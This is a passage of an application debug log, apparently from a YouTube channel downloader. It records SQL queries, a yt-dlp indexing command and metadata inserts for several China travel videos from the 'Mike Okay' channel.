((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 20:00:28.416 [debug] QUERY OK source="media_items" db=0.1ms idle=8.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 20:00:28.416 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:28.417 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:00:28.417 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:00:28.418 [debug] QUERY OK source="media_items" db=0.6ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [3] 20:00:28.420 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 20:00:28.420 [debug] Current batch of media processed. Will check again in 1000ms 20:00:28.420 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:00:28.420 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:00:28.420 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:00:28.421 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mikeokay --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Mike Okay/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/26/9f/269f2506bc08be1e9dd5573c5ea6f7f169fcf53e3033ef73023a7f15d73fbdfa.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cf/d7/cfd797983cfb2cc7ff2e83c504a79b8c09add48de5b1be7376da616dd8b74ed5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:00:29.421 [debug] Current batch of media processed. Will check again in 1000ms 20:00:30.422 [debug] Current batch of media processed. Will check again in 1000ms 20:00:31.423 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "duration" => 2174, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", "id" => "qYWhjW08-pc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qYWhjW08-pc", "playlist_index" => 1, "timestamp" => 1785508965, "title" => "China's Working Class Is Live-Streaming To Survive", "upload_date" => "20260731"} 20:00:31.424 [debug] QUERY OK source="sources" db=0.2ms idle=1641.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:31.424 [debug] QUERY OK source="sources" db=0.2ms idle=1642.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:31.425 [debug] QUERY OK source="media_items" db=0.2ms idle=1642.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-31 14:42:45Z], 3] 20:00:31.426 [debug] QUERY OK source="media_items" db=1.0ms idle=1014.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "10b9204c-54be-46e9-bf48-52f39465e81b", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", 1, "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, false, false, 3, [], 98, ~U[2026-07-31 14:42:45Z], ~U[2026-08-20 03:00:31Z], ~U[2026-08-20 03:00:31Z], "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, 3, ~U[2026-07-31 14:42:45Z]] 20:00:31.427 [debug] QUERY OK source="sources" db=0.1ms idle=13.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:31.427 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:31.427 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [404257] 20:00:31.427 [debug] Current batch of media processed. Will check again in 1000ms 20:00:32.428 [debug] Current batch of media processed. Will check again in 1000ms 20:00:33.429 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "duration" => 2334, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", "id" => "k8tdg6v0FQo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=k8tdg6v0FQo", "playlist_index" => 2, "timestamp" => 1784303950, "title" => "China's Most Viral City Is Hiding a Dying Job", "upload_date" => "20260717"} 20:00:33.430 [debug] QUERY OK source="sources" db=0.2ms idle=647.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:33.430 [debug] QUERY OK source="sources" db=0.1ms idle=647.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:33.431 [debug] QUERY OK source="media_items" db=0.3ms idle=648.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 15:59:10Z], 3] 20:00:33.432 [debug] QUERY OK source="media_items" db=0.8ms idle=648.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "147228c2-835e-4e53-950d-b38cd728a5f0", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", 2, "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, false, false, 3, [], 98, ~U[2026-07-17 15:59:10Z], ~U[2026-08-20 03:00:33Z], ~U[2026-08-20 03:00:33Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, 3, ~U[2026-07-17 15:59:10Z]] 20:00:33.432 [debug] QUERY OK source="sources" db=0.1ms idle=16.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:33.433 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:33.433 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [342888] 20:00:33.433 [debug] Current batch of media processed. Will check again in 1000ms 20:00:34.434 [debug] Current batch of media processed. Will check again in 1000ms 20:00:35.435 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "duration" => 2295, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", "id" => "7sCIBpshaCI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7sCIBpshaCI", "playlist_index" => 3, "timestamp" => 1782502970, "title" => "China's Loneliest Man Shows Me His World", "upload_date" => "20260626"} 20:00:35.436 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=653.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:35.436 [debug] QUERY OK source="sources" db=0.2ms idle=653.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:35.437 [debug] QUERY OK source="media_items" db=0.3ms idle=654.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-26 19:42:50Z], 3] 20:00:35.438 [debug] QUERY OK source="media_items" db=0.9ms idle=655.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "e14e3680-24c8-4c3a-85c0-d1be94d11f84", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", 3, "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, false, false, 3, [], 98, ~U[2026-06-26 19:42:50Z], ~U[2026-08-20 03:00:35Z], ~U[2026-08-20 03:00:35Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, 3, ~U[2026-06-26 19:42:50Z]] 20:00:35.439 [debug] QUERY OK source="sources" db=0.2ms idle=20.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:35.439 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:35.440 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND 